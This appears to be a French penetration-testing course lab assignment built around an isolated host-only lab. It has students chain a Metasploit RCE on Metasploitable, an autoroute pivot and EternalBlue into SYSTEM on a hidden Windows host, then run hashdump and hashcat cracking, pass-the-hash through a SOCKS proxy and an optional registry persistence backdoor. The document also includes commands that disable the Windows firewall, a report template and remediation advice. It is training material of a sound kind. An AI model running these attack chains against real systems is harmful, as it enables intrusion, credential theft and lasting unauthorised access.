Metasploit — Atelier pratique
Vous reproduisez la démonstration, seul(e). Trois cibles, un pivot, une session SYSTEM sur une machine que Kali ne voyait pas. C'est le TP2 de la formation — livrable pour la fin de la semaine 8.
Compter : 3 h à 4 h.
Livrable : ~/labs/semaine-08/rapport/pivot.md + tous les artefacts dans ~/labs/semaine-08/preuves/ + un .rc reproductible.
Un lab avec deux sous-réseaux host-only isolés. Aucune commande ne quitte votre PC.
Prérequis
Trois VM :
- Kali :
10.10.10.5(adapter unique surhostonly1). - Metasploitable 2 :
10.10.10.20surhostonly1+192.168.100.20surhostonly2. Forwarding IP activé. - Windows 7 vulnérable ou Metasploitable 3 Windows :
192.168.100.42surhostonly2uniquement.
Vérification avant de commencer :
# Depuis Kali
ping -c 2 10.10.10.20 # doit répondre
ping -c 2 192.168.100.42 # doit ÉCHOUER (network unreachable)
Si 192.168.100.42 répond depuis Kali, votre lab n'est pas assez segmenté. Corrigez.
Étape 1 — RCE initiale sur 10.10.10.20 (20 min)
Choisissez une RCE parmi celles identifiées en semaine 5. Ne prenez pas vsftpd (déjà fait en démo). Suggestions :
- Samba usermap script (
exploit/multi/samba/usermap_script). - distccd (
exploit/unix/misc/distcc_exec). - UnrealIRCd (
exploit/unix/irc/unreal_ircd_3281_backdoor).
Créez atelier-1-rce.rc :
workspace atelier-s08
use exploit/<choix>
set RHOSTS 10.10.10.20
set PAYLOAD <choix cohérent : cmd/unix/reverse_bash ou linux/x64/meterpreter/reverse_tcp>
set LHOST 10.10.10.5
set LPORT 4444
run
Lancez :
msfconsole -q -r atelier-1-rce.rc
Objectif : Session 1 opened. Vérifiez sysinfo et getuid.
Sauvegardez la sortie complète dans preuves/01-rce-initiale.log.
Étape 2 — Upgrade en Meterpreter si nécessaire (10 min)
Si votre session initiale est cmd/unix ou shell, upgradez :
sessions -u <id>
Attendez le message Meterpreter session <n> opened.
Alternative manuelle :
sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'
# ou pour un vrai meterpreter :
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
Sauvegardez dans preuves/02-upgrade.log.
Étape 3 — Ouvrir le pivot (10 min)
use post/multi/manage/autoroute
set SESSION <id-de-la-meterpreter-linux>
set SUBNET 192.168.100.0
run
route print
Vérification :
route print
Doit afficher :
Subnet Netmask Gateway
192.168.100.0 255.255.255.0 Session <id>
Sauvegardez la sortie dans preuves/03-autoroute.log.
Étape 4 — Scanner le réseau interne (15 min)
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,135,139,445,3389,8080
set THREADS 20
run
Retrouvez 192.168.100.42 avec ses ports. Confirmez la vulnérabilité :
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.100.42
run
Ligne clé attendue : Host is likely VULNERABLE to MS17-010.
Sauvegardez dans preuves/04-scan-interne.log.
Étape 5 — Exploiter la cible cachée (30 min)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run
Attention au payload : bind_tcp, pas reverse_tcp. La cible cachée ne peut pas joindre votre Kali.
Objectif : Meterpreter session <n> opened avec getuid = NT AUTHORITY\SYSTEM.
Sauvegardez :
sessions -i <n>
getuid
sysinfo
ipconfig
Trace complète dans preuves/05-exploitation-cachee.log.
Si ça échoue :
- Revenez au scan MS17-010, retentez le check.
- Vérifiez le firewall Windows sur la cible. Sur Windows 7 vulnérable, souvent bloqué.
netsh advfirewall set allprofiles state offdepuis un accès physique, avant de commencer. - Si
Exploit aborted due to failure: no-target, revert la VM à un snapshot vulnérable.
Étape 6 — Extraction (20 min)
Dans la session Meterpreter Windows :
hashdump > /home/kali/labs/semaine-08/preuves/win-hashes.txt
Cassage :
hashcat -m 1000 preuves/win-hashes.txt /usr/share/wordlists/rockyou.txt --username \
-o preuves/hashcat-results.txt
Objectif : au moins un mot de passe cassé.
Bonus — capture d'écran :
screenshot -p /home/kali/labs/semaine-08/preuves/win-screenshot.jpeg
Étape 7 — SOCKS proxy et outil externe (20 min)
Ouvrez le proxy :
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j
Configurez /etc/proxychains4.conf :
socks5 127.0.0.1 1080
Testez :
proxychains nxc smb 192.168.100.42 -u Administrator -H <hash-cracké-ou-plaintext>
Objectif : la ligne [+] WORKGROUP\Administrator (Pwn3d!).
Sauvegardez :
- La sortie de
nxcdanspreuves/07-nxc-proxychains.log.
Étape 8 — Script .rc complet (30 min)
Consolidez tout dans atelier-complet.rc. Note : les étapes qui exigent une interaction (upgrade de session, choix de session interactive) restent manuelles ; scriptez ce qui l'est.
workspace atelier-s08
# --- Phase 1 : RCE initiale ---
use exploit/<votre-choix>
set RHOSTS 10.10.10.20
set PAYLOAD <votre-payload>
set LHOST 10.10.10.5
set LPORT 4444
run
# --- ATTENDRE session 1, puis à la main : sessions -u 1 ---
# --- Puis relancer msfconsole avec atelier-pivot.rc ---
atelier-pivot.rc :
workspace atelier-s08
route add 192.168.100.0/24 <id-meterpreter-linux>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j
route print
sessions
Étape 9 — Le rapport (30 min)
~/labs/semaine-08/rapport/pivot.md — 2 pages, structure fixe :
# Pentest interne avec pivot — Semaine 8
## 1. Résumé exécutif (5 lignes)
## 2. Cadre technique
- Cibles, IPs, réseaux
- Outils utilisés
## 3. Chaîne d'exploitation (numérotée, courte)
1. ...
2. ...
3. ...
7. ...
## 4. Preuves
- Liste des fichiers dans preuves/
## 5. Impact
Une phrase forte : "Compromission complète des deux machines, avec le compte
NT AUTHORITY\SYSTEM sur la cible interne inaccessible depuis Internet.
Mot de passe administrateur cracké en X secondes."
## 6. Recommandations (3-5)
1. Patch immédiat des systèmes end-of-life.
2. Segmentation stricte : le sous-réseau interne ne devrait pas avoir de
passerelle vers un serveur exposé.
3. SMBv1 désactivé partout.
4. Rotation des mots de passe faibles.
5. Détection : surveiller autoroute-like patterns dans les EDR.
## 7. Annexes
- atelier-complet.rc
- atelier-pivot.rc
Grille d'auto-évaluation
- Trois VM montées, deux sous-réseaux isolés, Kali ne voit pas la cible interne.
- Session initiale sur
10.10.10.20obtenue avec Metasploit (pas vsftpd). - Meterpreter Linux obtenue (via upgrade ou directement).
- Autoroute ajoutée pour
192.168.100.0/24. - Scan interne effectué depuis msfconsole, cible détectée.
- MS17-010 confirmé.
- Meterpreter Windows SYSTEM obtenue via
bind_tcp(pas reverse_tcp). - Hashdump récupéré et cassé (au moins un mot de passe).
- SOCKS proxy ouvert,
nxctesté à travers proxychains. -
.rcscripts sauvegardés et testés. - Rapport de 2 pages structuré selon le modèle.
Extension optionnelle — Persistance
Attention : en pentest client, la persistance est très cadrée par le RoE. En lab, faites-le pour comprendre.
Sur la session Meterpreter Windows :
run persistence -X -i 30 -p 4455 -r 10.10.10.5
Vous ajoutez une clé de registre qui relance le payload à chaque démarrage. En pentest réel : cette commande crée un backdoor — elle doit être documentée dans le rapport et supprimée avant la fin de la mission. Un pentester qui oublie un backdoor est un pentester qu'on n'engage plus.
Pour supprimer :
resource /root/.msf4/logs/persistence/WIN7-VICTIM_20260420.rc
# Suivre les instructions pour effacer la clé de registre.
Ce qui bloque en général
| Symptôme | Cause | Correction |
|---|---|---|
Exploit aborted due to failure: no-target | Cible pas vulnérable ou déjà exploitée | Snapshot revert. |
route add : Route already exists | Route conservée d'un run précédent | route flush. |
Meterpreter died sur la Linux | Antivirus Metasploitable ? Non, mais protocole TCP peu fiable | Recréez la session, essayez payload non-stagé. |
bind_tcp ne se connecte pas | Firewall Windows 7 bloque | Désactiver Defender + Firewall dans la VM. |
nxc via proxychains rend errno 111 | Proxy pas lancé | route print et sessions pour vérifier. |
| Hashcat n'a rien trouvé | Mot de passe trop fort | Normal. Documentez comme échec. |
Ce que vous emportez de cet atelier
- La compréhension physique d'un pivot : ce que Kali voit vs ce que la cible compromise voit.
- Un workflow bout-en-bout reproductible.
- Un
.rcscripté qui rejoue la chaîne. - Un rapport de pentest interne en format 2 pages.
- La capacité de reproduire ces attaques en présentation à un client.